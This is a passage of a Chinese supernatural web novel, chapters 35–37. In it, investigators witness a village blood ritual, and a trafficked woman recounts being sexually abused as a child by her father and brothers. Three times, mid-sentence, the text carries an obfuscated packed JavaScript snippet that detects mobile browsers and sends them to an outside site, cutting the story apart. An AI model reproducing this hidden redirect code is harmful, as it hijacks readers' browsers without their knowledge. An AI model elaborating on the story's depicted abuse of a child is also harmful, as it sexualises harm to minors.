女人连摇了几次头。 “忘了,都忘了。” 林清原还想接着问,楼下传来了刘栋海的声音: “林总,衣服换好了吗?二姑丈在催呢。” 女人扯起嗓子应道:“换好了换好了,这就下去了!” 现在在“故事”里,事情还不明朗,不能出差错,所以林清原暂且按下了心思,等之后再找机会问女人话。 见到姗姗来迟的二人,二姑丈很生气,骂道:“女人就是没用!换个衣服都这么慢!” 林清原还没来得及发火,离他近的新记明先开口了。 “注意你说的话!” 刘栋海连忙打圆场:“二姑丈你可别说了!人家城里的贵客什么没见过?用得着你在这教训?”他对着新记明和林清原点头哈腰的:“咱们别跟乡下人一般见识。” 林清原走近,盯着为首的二姑丈。直到把后者盯的恼羞成怒,才冷笑一声,拇指抬起剑鞘,金属的碰撞声震住了他。 “再多嘴,先问问我的剑答不答应。” 二姑丈面色阴沉,没有接话,瞪了刘栋海一眼,转身走了。他的声音从大部队中传来:“快跟上!误了时候,祭品就不新鲜了!” 林清原几人缀在队伍最后。 夜晚很黑,然而大部队没有打灯,还能稳稳当当地走在土路上。 林清原他们就不行了,没走几步就磕绊了。 于是新记明拿出手机开手电筒照明。 林清原问:“电还够吗?” “够。来这之后电量好像就没掉过。睡觉前是八十六,现在还是八十六。” 闻言,林清原也拿出了自己的手机。 百分之五十。 和自己玩睡着前一样的电量。 她挠了挠头,又把手机放回了兜里。 新记明的手机电多,先用他的。 路越走越偏僻。新记明问刘栋海:“你认识路吗?” 刘栋海已经走出了一身汗。 “不认识。我老早就不在这住了,一年也就回来一次。” 外姨婆倒是认得:“这就是去大坟上的路啊。” “什么大坟?” 女人解释道:“最近都在讲要迁坟咧,要把所有埋的都挖出来,迁到一块大地上。” “什么?!已经都挖出来迁了?!” 刘栋海大惊失色。 女人满脸疑惑:“我记得还没迁呢,只是先选好地了,咋现在就是在往大坟那走呢。啥时候迁的?” 新记明:“应该是‘扭曲’的影响。” 林清原问:“怎么突然要全部迁到大坟去?” “这就不知道了。好像是有个道士过来,说村子里犯了啥东西,要迁坟才能保平安。”女人说的笑嘻嘻,胳膊环着,比了个夸张的动作,“还能发大财呢。” 这时,队伍末尾的一个男人突然冲出来打了女人一巴掌。 “贱皮子,这么多嘴!把你舌头绞了!” 男人打完,看也不看女人的反应,就回队伍里了。大部队也丝毫没有被这个小插曲影响,该怎么走就怎么走。 刘栋海欲哭无泪,只能招呼林清原几人不要停下脚步,走散了说不定会坏事。 外姨婆被打了之后也没说什么,只是揉了揉被打的脸,低着头跟着。 林清原和新记明对视了一眼,都从彼此的眼神中看到了凝重。 虽然“故事”和现实世界的情况并不太一样,但几次三番对女人的恶劣态度,已经能反映出一些情况了。 几人沉默地走着,又走了十多分钟,才终于到了大坟。 新记明拿手电筒扫了一圈,看到了不少立着的碑。 林清原也打开灯光,仔细看了看。 歪七八扭立在土堆上的确实都是碑,不过都是木头做的,有好些已经碎了。 刘栋海哆哆嗦嗦认着墓牌上的名字,然后指着不远处的一个土包说:“那就是我父母的墓……” 大部队来到大坟后,就列队排开,以二姑丈为首,围成了一个半圆,男人在外围,女人在内围。 林清原这才发现,大坟里的坟,也是堆成了一个半圆,往后排着,数量还不少。 随着二姑丈一声令下,男人们从篮子中取出了蜡烛和碗,点燃了火光,嘴中跟着齐声念词: “天倾地缺,五行借归。覆骨如末,血祭福泽!” 女人们则接过碗,掏出剪刀,狠狠地扎向了手心,待到碗中的血过了底,便将血泼向了自己的身体。重复三次,前身一次,后背一次,最后一次,是头顶。 白衣被血泼染,面容也被血淌过,在幽幽烛光的照耀下,显得十分恐怖。 饶是如此,女人们也没有吭一声,取血、泼血一气呵成,动作虽不整齐,却非常有秩序。 刘栋海哪见过这个场面,他吓得往林清原身边靠了又靠。 谁想到,二姑丈竟然喊了刘栋海的名字。 “刘栋海,过来。” 刘栋海想装没听到,二姑丈转过身来,又喊了一遍:“刘栋海,过来!” 刘栋海不想过去,队列里的男人们却齐齐扭头,盯着他。 女人们也一声接一声地喊起:“刘栋海!” 刘栋海都要跪下了。 这种时候,放他一个人过去,肯定有危险,于是林清原和新记明上前一步,打算护在他身边。 可是二姑丈又把二人呵退了。 “外来人,站住!” 他看向刘栋海,枯皱的脸皮被烛光打了影,显得格外阴鹜。 “刘栋海,你怎么还不过来?” 刘栋海只能抖着腿慢慢上前。 林清原和新记明严阵以待,一旦有什么变故,就会上前把他救出来。 刘栋海小心地穿过浑身是血的女人堆,走到了二姑丈旁边。 二姑丈语重心长: “大海,你是咱们村最有出息的,所以主坟就是设的你家的两口子。今晚的大祭拜缺你不行,你乖乖行礼,让坟主满意了,咱们整个村的庇佑都有着落了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916094|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,他又朝着躲在林清原身后的女人厉声道:“五刘家的,你过来!” 女人听话地上前。 林清原把她拦住了。问:“要她过去干什么?” 不是林清原刻意找事,而是经过了这一系列事情,她很明白,在这个“故事”里,女人和男人的地位是不一样的。 刘栋海过去,他是男人,又占了“主坟家的人”的身份,应该不会出大问题。 而外姨婆就不一样了,又是被打又是被骂,那些女人们还放血,她一个女人过去,情况肯定严重的多。 有些意外的是,二姑丈在林清原把女人拦下后,就只冷哼了两声,没有再要求她过来。 刘栋海按二姑丈的要求,在他父母的坟前跪好。 随后二姑丈从篮子中掏出一把又一把纸钱,撒在半空中。 这纸钱很奇怪,不黄不绿,而是纯白,上面也没有任何花纹——除了一个字:钱。 要不是有这个“钱”字,还以为在撒纸片呢! 纸钱飘飘洒洒地落下,却没有一片沾在刘栋海的身上,尽数拢在了坟包前。 二姑丈喊:“祝佑!” 众人齐和:“祝佑!” 二姑丈又喊:“代祭!” 众人又齐和:“代祭!” 刘栋海都快昏过去了。 他活了半辈子了,从来没听说过村里的人这么有文化啊!难道这都是外姨婆说的,是那个道士教的? 哪来的死道士! 刘栋海正在心里狠狠咒骂着,就听二姑丈吩咐他:“大海,你要表孝心啊,要让你老子在地下不要缺钱花啊。咱们可都是一起的,你是我看着长大的,规矩你都懂,还用我教你吗?” 刘栋海打了个激灵。 规矩,是他想的那个规矩吗? 他偏头朝林清原那边瞥了一眼。 偏偏林清原是个女人!偏偏就是她跟进来了! 刘栋海心中正盘算着怎么避开林清原的目光,二姑丈的声音就再次响起: “快!别误了吉时!钱要是丢了,就再也找不回咯!” 离得近了,林清原才听出来二姑丈说的话的不对劲。 她本来以为只是老年人口音重,所以发音奇怪。 现在再听,他说的根本不是“吉时”,而是“祭时”! 一字之差,彻底做实了这场祭拜的诡异。 不过现在人被看着,纸钱也撒了,箭在弦上不得不发了。 刘栋海咬咬牙,决定先听二姑丈的话。 为了保证稳妥,他动用了能力。 他的能力是“钱生钱”,只要给他一张钱,他能原样复制出新的一张。可惜在现实世界里,他的这个能力大打折扣,虽然也能复制出一模一样的钱,但是一次只能复制一张,而且是连号码都一模一样的那种。 只能看,不能花。 好在他的能力从别的方面“补偿”了,那就是“投资”。只要他投进去的钱,必定会赚,哪怕只赚一块钱,也是“钱生钱”了。 这也是他近几个月来异军突起的原因。他以前充其量只算个小老板,成为“译者”后,他的生意就越做越大,这才有机会参加有新记明在的宴会。 刘栋海捞起地上的纸钱,双手一搓,就复制出了一模一样的纸钱。 他边复制,边念道:“爸,儿子来看你了。咱家不缺吃,不缺穿,全等着‘钉子户’了,你放心开,地上有‘锤子’牢牢把着呢。” 二姑丈高喊道:“钉子来,锤子落!” 话毕,身着血衣的女人们就走上前来,把盛过血的碗顶在头上,然后高举双手,嘴里发出了一声尖利的叫声—— 哔—— 林清原忍不住捂住了耳朵。 这声音又高又拐,完全不像一群大年纪的女人能发出来的。 “尖把把,生果果——宽锤锤,砸朵朵——” 二姑丈的声音清晰地传到了每个人的耳朵里。 举着蜡烛的男人们左踏一步,右踏一步,正待下一个动作时,变故发生了。 35. 假消息 一阵阴风吹过,男人们手中拿着的蜡烛狠狠抖了几抖。 二姑丈着急大喊:“蜡烛不能灭!” 然而不等众人护住烛火,火芯就熄了。 “快!快!”二姑丈连喊几声。 下一刻,只见男人们伸手抓住了头顶着碗的女人们,从她们手中夺过剪刀,狠狠地刺进了女人的身体里。 鲜血混着女人们的尖叫声,喷在了白蜡烛上,将其彻底染成了红烛。 随后诡异的一幕出现了。 不知道什么原因熄灭了的白烛,在变成血烛后,又不知道什么原因,重新燃了起来。 不过这一次,烛光是纯粹的艳红色,连带着照人脸上的火光,都是艳红的。 外姨婆被这变故吓坏了,她大叫一声就扭头跑了。 林清原和新记明正打算去追,就见刘栋海那边也发生了意外。 一只手,从坟包里伸了出来,扣住了刘栋海的脖子。 刘栋海只来得及发出一声鸭子叫,就再也发不出任何的声音,只能徒劳地蹬腿,拼命反抗着被拉进坟包里的命运。 情况危机,林清原和新记明一碰眼,就默契地做好了分工——林清原去救刘栋海,新记明去追外姨婆。 林清原脚下一蹬,身子就窜了出去,只两秒就来到了刘栋海身边,一手抓住他的肩膀,一手抓住坟包里的那只手,想要将二者分开。 可是扣在刘栋海脖子上的那只手实在太紧,稍微一使力,就让他进气快没出气多了。 普通的分开方法不行,林清原就上了古剑。 古剑轻松斩落了坟包里伸出的手。 断手在落下的半途就化作了火星消失了,剩下的那截手臂,也迅速缩回到了坟包里。 刘栋海撅着屁股,头磕在地上,猛烈地咳嗽起来。 “走!走!” 林清原听到二姑丈惊慌失措的声音,回头一看,发现原本亮起的红色烛光,也再次熄灭了,场内只余下了女人们的痛呼声。 “快走!祭品不新鲜了!” 二姑丈带着男人们跑了几步,又想起来了刘栋海,就折返回来拉他一起走。 刘栋海边咳边被拉跑了。 还没等林清原查看女人们的情况,她们就哭嚎着也跑走了。 林清原抬步跟上。 可是走了一步,她又转身来到“主坟”跟前,几剑把坟包劈开了。 借着手机的电筒光,她仔细看了看。 坟包里只有土。别说手了,连一块碎骨头都没有。 她又往下挖了挖,还是什么都没有。 于是林清原只能放下心中的疑虑,匆匆把土堆复原,跟上大部队离开了。 只是她不知道,在她把古剑背回背上的时候,一抹红光从剑身上闪过,凝聚到剑尖,然后隐没了。 而在她走后,被破坏掉又大致复原了的坟包开始鼓动,碎土松落,从里面再次伸出了一只手,手上流转着和古剑上一模一样的红光。 手在原先刘栋海跪着的土地上抓了抓,拾起了一片纸钱,然后带着它重新回到了坟内。 林清原出了大坟,外面的队伍已经走远了。 她在原地愣了一会儿,努力辨认着地上的痕迹,沿着痕迹走着。走到岔路口,踌躇了。 面前三条路,每条路上都飘的有纸钱。 虽然这些路不是混凝土路,可是天气一直都是晴的,没有下雨,土路上自然也不会有更明显的痕迹。 林清原叹了口气,举着手机思考该怎么走。 就在这时,新记明的消息又发来了。 “你在哪?” 还是这句话。 林清原回复他:“岔路口。你在哪?” 回信刚发过去,她就感到有阵光扫过自己的眼睛。 她抬头一看,是新记明。 新记明走过来,领着她回民宿。 “你怎么落下这么多?我都已经把刘栋海的外姨婆送回去了又拐回来找你。” “调查了一下。你怎么记路记这么熟?”林清原问。 “开了路线描图。” 新记明把手机屏幕侧给林清原看,上面正显示着从大坟到民宿的路线。 “手机既然都能带进来了,那肯定要多用科技的力量。” “哇,聪明。”林清原竖了个大拇指。“不过连这么偏的路都有网,这地方基建做的还不错啊。” “这里的网络我查了,是现实里没有的公司,IP地址也很怪。所以大概率还是‘故事’的设定,和基建没关系。” “这你都会查?”林清原问完,才想起来这家伙好像高中是学理的,大学的专业也是理工科的。 “行吧。”她说。沉默了一会儿,她又问:“那要不要报警试试?” “嗯?” “难得有手机了,报警应该也是属于设定内的操作吧。”林清原跃跃欲试。 新记明哭笑不得。“那你用什么理由报警?” 林清原想了想。“聚众封建迷信……?” 新记明哑然。 “好像……可以。” 说做就做。 林清原掏出手机报了警,说了村子的大致情况后,就心满意足地挂了电话。 “怎么说?” “说明天会派人来查看。” 新记明越想越好笑,最终忍不住捂住肚子大笑了一通。 林清原:“?” 新记明笑完,抹了抹眼角,擦去了笑出来的一滴泪,说:“我过了这么多次‘故事’,还是第一次见到像你这么玩的。” 林清原盯着新记明的脸看。 灯光打在眉骨下,投了一点深邃的阴影,配上他略显冷硬的五官,本该显得更为冷漠,但此时他笑得眉眼弯弯,看人的时候眼睛湿润,带笑的目光一下子撞进了林清原的心里,让她嘴里泛起了一点熟悉的甜味。 林清原咂了咂嘴巴,想起来这熟悉的甜味是什么了。 是一种茶。 初泡的时候是苦的,用冷水泡也是涩的,只有用热水在外杯里温一遍,才能尝出那丝甜味。一旦喝上这甜味儿,那之后的每一口都是带甜味儿的。 林清原从小到大喝过的茶叶不计其数,这款茶不是她最喜欢的,但是却是记忆最深的。 如果她没记错的话,这茶好像就是新家送的礼茶。 怎么新家的人也和这茶一样呢? 新记明见林清原一直盯着自己看,呼吸悄悄地急促了几分。 他移开目光,说:“快到了。刘栋海一个人待在屋里,也要快点回去保护他。” 林清原脚步不停,说话也不停。 “你回去之后套套刘栋海的话,他说自己什么都不知道,但是很明显他二姑丈说的‘规矩’他是知道的。这次的‘故事’男女有别,我去问的话他不一定说。我今晚和刘栋海外姨婆睡,我会从她那打听点消息的。” 新记明应下。他看着林清原皱起的眉头,问:“还有什么要问的吗?” 林清原摇摇头。 “不是。就是觉得有点奇怪。方室长说,咱们进了‘故事’,一定不会是‘主角’,而是‘配角’。可现在不管怎么看,刘栋海都像是‘主角’的情节……是不是哪里咱们搞错了?” 新记明思考了一会儿,说:“今晚的大祭拜失败了,他们可能很快就会举行下一次祭拜。在此之前,我会多收集信息的。” 刘栋海一个人待在屋里。灯还是黑的。 他被二姑丈送回来之后,二姑丈他们一群人本来还想在民宿住下,被他连哄带骗地劝回去了。心惊胆战地等回来了新记明,结果新记明送完外姨婆到自己的屋子里后就离开去接林清原了。 这就导致民宿里的电路一直没人去查看,只能这么黑着灯。 外姨婆有些局促地坐在刘栋海屋里的椅子上,眼巴巴地看着对方玩手机。 刘栋海不耐烦地撇了她一眼:“看什么?你没手机玩?” 外姨婆咧了咧嘴:“我手机一直都在我男人那放着。” 许是见刘栋海不搭理自己,女人有些尴尬,又开口道:“手机是好玩嗷。” 刘栋海很烦躁地让她闭嘴。 “把嘴闭上!不行就缝上!好不容易有手机玩了还啰啰嗦嗦的!” 厌烦地看了女人两眼,他就把她赶了出去。 “别待我这儿!你爱上哪上哪!” 女人出去了。 刘栋海长了个心眼,看她去了楼上林清原的房间,才关门回屋。 “妈的,要不是林清原对这女人挺上心,管她死哪呢!不过她去林清原屋里睡也行,死了不关我的事。” 他躺回床上,继续刷着手机。 玩了一会儿,林清原和新记明还没回来,这让他有些慌。 “怎么还不回来?我可是掏了钱请的护卫,别让我一个人啊!” 他有点想投诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938026|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是又不敢。 本来以为只是个平民组织,谁想到里面还有两尊大佛! 最终他只能往这次临时拉的委托群里发了消息,询问二人走到哪了。 好在没一会儿新记明就回了消息。 “快到了。” 刘栋海稍微放松一些了。他拖着群聊天框反复看着。 自从进了“故事”,白仙贝和成柳就没再说过一句话。除此之外,他们三人倒是还能在群里正常聊天。 这种情况也让刘栋海提起了心思。 毕竟能带手机进“故事”,还是第一回。 不过他抽空给家里人拨去了电话,一直无人接听。他便也逐渐接受了,想着可能是这次的“故事”特殊。 反正在这里手机不用充电,不会掉电,网速还快,玩起来倒是很能消磨时间。 刘栋海沉浸在玩手机的快乐中,见到有人发来消息,就下意识叉掉了。 连续叉掉两条,他才想起来自己在“故事”里,吓得立马返回消息界面查看,一看是新记明和林清原各给他私发了一条信息。 新记明说的是:“这里有问题,不要相信林清原。” 林清原说的是:“这里有问题,不要相信新记明。” 刘栋海寒毛直竖。 他把手机丢到了一旁,不敢去看。 过了一会儿,手机屏熄灭了。 刘栋海抖着手去点亮,却突然听到院内传来了开门声。 刘栋海吓得从床上蹦起,躲到了门后,想从缝中看是谁回来了。 可是民宿的门不是以前农村的木门,一旦合上就严丝合缝的,压根没有缝隙可供观察。于是他只能悄悄把门开了一条缝,借着手机的照相功能看外面的情况。 然而手机刚伸到缝边,还没看清外面的人,相机界面就变昏了。 刘栋海心急地把手机拿回来,重新聚了焦,再次伸过去。 这回相机界面映出了一张人脸。 刘栋海手里的手机“砰”的一声掉到了地上。 他瘫软在地,发出了一声闷闷的叫声。 “妈……” 等新记明推门进来,见到的就是在昏倒在门后的刘栋海。 新记明把他拖回到床上,林清原打来了水。 经过一番擦拭,刘栋海终于醒了。 刘栋海见到二人就大哭起来。 林清原和新记明都有些无措,勉强哄好了,就问发生了什么事。 刘栋海却是先问:“你们给我发消息了吗?” 新记明说:“你不是在群里问我们走到哪了吗?我给你回‘快到了’。” 刘栋海哭着把私聊界面给二人看。 见到不属于本人发来的信息,林清原和新记明的表情都变得更严肃了。 一番检查后,几人确认,每个人都收到了这不知是何人发来的消息。 刘栋海是两句挑拨离间;林清原是“新记明”发来的那两句“你在哪”;新记明则是“林清原”发来的“我想回家”。 林清原这才知道为什么新记明会把外姨婆送回来后就急匆匆地赶去接她,原来是因为收到了假消息。 “所以手机的聊天信息不能轻信了。” 林清原握着手机,心情复杂。 怪不得这次“故事”莫名其妙能带手机进来了,原来是在这埋着陷阱呢! 刘栋海哭着问:“那我这怎么办啊?消息都不能信了,你们要是再走了,我该怎么联系你们?” 把刘栋海一个人丢在这,确实算是万事屋的责任。 于是二人在道了歉后,保证会随身带着他行动。 刘栋海又有些犹豫:“那你们要是去危险的地方探查了,我也要跟着去吗?” 林清原问:“你以前请的那些‘护卫’委托,是怎么安排你的?” 刘栋海答:“一般是一起行动,人多了就让我单独在安全的地方,有人去探查,有人保护我。人少的话……就找到一个确认安全的地方,让我待着。” 林清原叹了口气。“总让你一个人待着的话,你离开‘故事’的时候,‘编译度’不会很高。” 刘栋海抿了抿嘴。“确实……不算高。” 林清原和新记明商量了一下,决定先回屋休息。 虽然这种情况下,应该林清原和刘栋海的外姨婆一起睡过来,但是考虑到还要各自打探消息,最后还是只有新记明留下和刘栋海睡一间屋子了。 36. 逃跑的女人 林清原回到屋里的时候,刘栋海的外姨婆正在她之前睡的床上躺着。 “外姨婆。” 林清原轻轻喊她。 女人睁开眼,露出一个憨厚的笑容。 “你回来啦。” 林清原在另一张床上坐下。 “你叫什么名字?” “我没有名字。” “那平时别人怎么喊你?” 女人掰着指头数。 “喂、那妮子、赔钱货、老四家的、五刘家的。” 林清原的心沉了沉。 “你嫁了两家吗?” 女人抬头,面露疑惑:“没有啊,我就嫁了我五叔一个。以前我爹还活着的时候,倒是想要了我,不过五叔给我要走了。” “你爹?要你?!你嫁你五叔?!” 林清原简直不敢相信自己听到了什么。可看女人的样子,这种事似乎也是平常。 “我妈早早死了,爹就一直没讨到婆娘。本来我长大了,就是该嫁他的。”女人意识到什么,问:“你们城里人不这样吗?” 林清原憋了一口气。“不是什么城里乡里的问题。这种事就不该存在。” 女人不太懂,她只觉得城里规矩多。 “村里都是这样的,外面也是这样的。” 林清原越问越心惊。 “什么外面?你见过别的地方也是这样?” 女人却摇了头。 “没有,没有。我没有出过村,都是听我爹说的。村里的男人也是这么说的。” 说到一半,她忽然想起了什么,开始回忆。 “我好像有一次要出去。都跑到山里了,然后…然后……” 女人卡了壳,“然后”了半天也没说出后面的话。 林清原耐心等着她继续说,却听到她哭了。 “我不跑了,别打了,疼……” 女人钻到了角落里。床上没有被子能挡住她,所以她只能用胳膊挡在身前,瑟瑟发抖。 林清原靠过去搂住女人,轻声安慰着,过了好一会儿,女人才从梦魇中回神。 见女人这个样子,林清原不忍心再问下去了。 然而或许是刚才的一番刺激,让女人跨过了什么禁忌,她开始喋喋不休地讲她从小到大的事。 虽然言语混乱,时间线也颠三倒四,但是林清原还是大致梳理清楚了。 据外姨婆所说,村子里的女人很少,因为女人不值钱,有些被当了童养媳,有些就被卖了。不过村里也不缺生孩子的女人。外姨婆不太清楚她们是哪来的,只知道谁家要是缺媳妇了,过不了多久,那人家里就会多出一个女人。 只是女人之间很少交流,因为新来的女人们总是不听话,不听话就要被打,有一些被打死的,就喂猪了,有一些活着的,也总是待在家里不出门。 外姨婆从小长在村里,所以对她的看管没有那么严。她去串过门,见女人们大多数都被锁着,跟牲口一样,还觉得好玩,自己回家了也要学着她们被锁起来。 她爹觉得好笑,倒是真的依她所言,把她锁起来关在牛棚里了。 被锁了一晚上,她觉得不好玩了。 牛棚里没遮挡的,晚上风一吹,冷得很。而且牛棚和隔壁家的院子挨得近,她听见了隔壁院子里的女人的惨叫。 “放过我……我想回家……” 那个女人一直在重复这几句话,跟傻了一样。 不过这话引起了她的好奇。 回家?这女人也有家吗?她以为这些女人都是到年龄了,就自动从天上掉下来了! 第二天清早,她就央着她爹把她放了。她爹有点不乐意,在棚子里摸了她很久才放她走。 隔壁院子里住着她二哥和三哥,听说她来看那个女人,还笑她是不是听到昨晚的动静了,也想找男人了? 见到女人的时候,女人身上都没穿衣服,脸被打肿了,身上也脏兮兮的。 看着这样的女人,她有些不想靠近了。然而那个女人见了她,却像是看到了希望,唤她过去。 那天那个女人给她讲了好多故事,她听得津津有味。只是很多故事她都听不懂,比如为什么说牛郎是骗了织女呢?女人不是生下来就要当男人媳妇的吗?还是说,仙女和其他女人不一样? 那个脏兮兮的女人说,她想回家。她家在一个什么城市,那里很漂亮,比这里好百倍。 她没出过村子,想象不出来。 女人说,可以带她去看看,但是这件事是个秘密,她不能告诉其他人。 她答应了。 临回家的时候,二哥和三哥把她喊到了屋里,脱了衣服亲了好久。她被搞疼了,想走,哥哥还不愿意。最后还是爹找上门了,说要生小孩就要掏钱,才放走的。 回家之后爹发了好大一通脾气,把她狠狠打了一顿,骂她是个骚货,毛都没长齐就去勾引男人。 她觉得冤枉,什么叫“勾引男人”? 当晚,她见识到了另一场噩梦。 第二天醒来,她拖着疼痛的身体下床做饭的时候,明白了为什么前天晚上那女人会叫的那么凄惨了。 因为疼啊! 在这之后好多天,她都没有再去隔壁院子,只偶尔听到那个女人的哭泣和叫声,能知道女人还在活着。 她其实还挺想继续听故事的,只是目前只要出门就会被打,所以她一直等到家里人去祭拜了,才偷偷溜了过去。 女人的情况看起来比第一次见面更惨了,意识有些不清醒了,讲故事也讲得无趣了。 她觉得失望,本想离开,又被女人拉住。 女人告诉她城里有好看的故事,有新奇的玩具。只要她悄悄去屋里拿到开锁的钥匙,再按她说的找到一些草混在一起,放到饭里,就能把人迷昏。然后她们就能跑出去了,就能回家了! 她将信将疑地找来了草,先放到了自己爹吃的饭里,见他真的昏睡过去了,直到几个小时后才醒,这才开心地过去汇报。 而这次去找女人的时机有点不巧。二哥正压在女人身上。 女人还是哭的很惨,这让她有一点不忍心。于是她走过去说:“你不反抗,就不痛了。” 听到这话的二哥笑了起来,喊了三哥过来,也压在了她身上。 她努力调整着姿势,对女人露出了一个笑容:“这样就只有一点点痛了。” 女人哭得更狠了,偏过头不再看她。 等一切都结束,她告诉了女人下一次家里人去祭拜的时间,约好了行动的细节。 她其实也告诉过她爹“想去外面玩”的想法,不过换来的只是几顿毒打,所以更多的想法她就不告诉其他人了。 虽然她不明白为什么“想出去”就要挨打,但是她知道挨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954577|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打很疼,不说出来就不会挨打了。 自那天之后,她不再被允许去找那个女人玩,偶尔见的几回,只看到女人的肚子越来越大,脸色越来越憔悴。 几个月后,女人生下了一个男孩。 一家人高兴坏了,杀鸡吃肉,连她都能吃上几口鸡皮。 然后又过了一个星期,家里人决定提前去祭拜。于是她和女人的计划也提前了。 她在头一天晚上,迷昏了二哥和三哥,去屋里找到了钥匙,悄悄装进了怀里,等第二天几人去祭拜了,她就打开了锁。 女人因为长期的跪躺,直起身走路都颤颤巍巍的,但是人显得异常兴奋,连亲了她好几口。 她摸着自己被女人亲过的脸,心里涌出一股异样的情感。 这种亲很奇妙,和爹、哥哥、大伯他们的亲吻都不一样,不带有一种让她觉得难受的感觉。 女人随手柱了根柴木,蹒跚着走出家门。 “快走!等他们回来了,就来不及了!” 她望了望屋里的侄子,问:“你不带上他吗?” 女人回答得坚决:“我恨不得他死掉!” 在城市的诱惑下,她带着女人离开了村子。 一路上女人都在让她避开人走,她也照做了。可是走到村子外面后,她就停下了。 “我不认识外面的路了。” 她从来没出过村子。但是女人告诉她:“没关系,那剩下的路我来领你。” 女人带着她往山里跑,往没人的地方跑,往太阳的方向跑。 她看得出来,其实女人也不认路,带她拐迷了好几次。 在这之后,她听到了村里人的声音,还有狗的叫声。 女人非常慌张,带着她更不要命地逃跑。 她开始觉得迷茫。她不太想去城里了。 女人朝她跪下,说她年纪还很小,不能留在村里,要离开这里,逃去外面才有活路。 她看着女人,想起了那几个亲吻,也想起了更小时候见到的另一个女人。 “妈妈……” 女人搂住了她,带着她继续往外逃。 可惜她不认识路,女人也不认识路,村里的人却认识路。 被抓回去之后的事她记的不是很清楚了,只记得女人死了,小侄子死了。她不停地被打,也差点死了。 后来命硬抗活了,脑子也傻了,就这么浑浑噩噩地锁在屋里长大了——其实也没有长很大,没两年就被卖给了五叔当媳妇了。 林清原理完这些经历,安慰的话都哽在了喉间。她知道再多的安抚此时也起不到任何作用了,这是沉疴在外姨婆心底最深处的痛苦,哪怕她不能理解那些女人逃跑的理由,从小到大的折磨也如她身上被打留下的伤疤那样,在她心里留下了永不治愈的伤口。 林清原轻拍着女人的背,决定从“故事”离开后,就和当地警方联系,解决这个村子的人口拐卖事件。 女人在林清原的怀里渐渐冷静了下来。静寂中,她开口道:“那些草后来都被烧掉了,想要跑的女人也都成了祭品。要新鲜的……不新鲜的就坏事了。” 林清原没忍住,问:“祭品,是什么?” 女人却不再回答。 她将林清原认成了别人,问得含含糊糊:“姐姐,家里不是家吗?为什么你要回家呢?妈妈?你没有家吗?我没有家吗……?” 37. 钉子,锤子 和新记明共处一室的刘栋海有点尴尬。经过刚刚的一系列事情,万事屋的人肯定看出来自己在瞒着些什么了。如果只是普通的雇佣关系,他怎么说都没事,可是偏偏他还想趁着这次委托和新家、林家这两巨头搭上关系,有些话还是要斟酌着说了。 坐在沙发上的新记明也有点尴尬。虽然刘栋海现在还好端端的,他乱了分寸去接林清原也可以说是受了假消息的“蛊惑”,但是把刘栋海和他外姨婆留在了屋里没人保护也是事实。尤其回来的时候,见到的只有独自昏倒在门后的刘栋海,外姨婆不知所踪,可是把他和林清原吓了一大跳。 新记明叹了口气,捏了捏鼻梁。 他刚加入……不,暂时加入万事屋,委托就出了纰漏,实在是他能力不足。 冷静下来仔细想想,林清原的那种性格,怎么会给他发“我想回家”这种撒娇的话呢?她那人会撒娇? 新记明想到这里,眼前突然浮现起之前开会和聚餐的场景。 那时候的林清原,可完全是个乖乖小棉袄的样子,和家人撒起娇来,简直……简直…… 新记明的心狂跳。 [林清原好像还挺喜欢和她家人撒娇的……那如果我有一天成了她的家人,她也会对我撒娇吗……?] 顺着这个想象,他脑海中的林清原笑盈盈地看了过来,走到他身边,仰头看着他,撒娇道:“小新你说是不是呀?” 林清原撒娇时的嗓音甜甜的,她的笑容也甜甜的,嘴巴一张一合,嘴唇看起来也甜甜的…… 新记明忽然从幻想中惊醒,狠狠扇了自己一巴掌。 这巴掌把刘栋海吓得一哆嗦。他战战兢兢地看向新记明,只见后者在扇了自己一巴掌后犹不解气,猛地站起身,身体随着大喘气夸张地抖动,然后…… 练了一段武。 刘栋海看得目瞪口呆。 其实论起专业程度和观赏程度,新记明练的这段武术招式非常漂亮。尽管有些细节看着有一点怪异,但是联想到他是练剑的,他那总是虚环着的手就有了解释。 可能因为进了“故事”,他没了常用剑,练起剑招来才有些别扭吧。 练完武,新记明就平静下来了。 他又恢复到了平常冷淡的模样。 刘栋海小心开口:“新少掌门,您……怎么突然开始练武了?难道是咱这屋有什么奇怪的东西?” 新记明淡淡开口:“习武之人,每日功课不可废。哪怕是进了‘故事’,也不能懈怠。” “那您一开始打了自己一巴掌……” 新记明气定神闲:“哦,只是突然想起自己今日还未练武,用巴掌惩戒自己的懈怠罢了。” 刘栋海佩服的五体投地:“不愧是武林世家!这种勤奋劲头,您做什么事都会成功的!” 新记明回到平日里的状态后,就开始询问信息了。 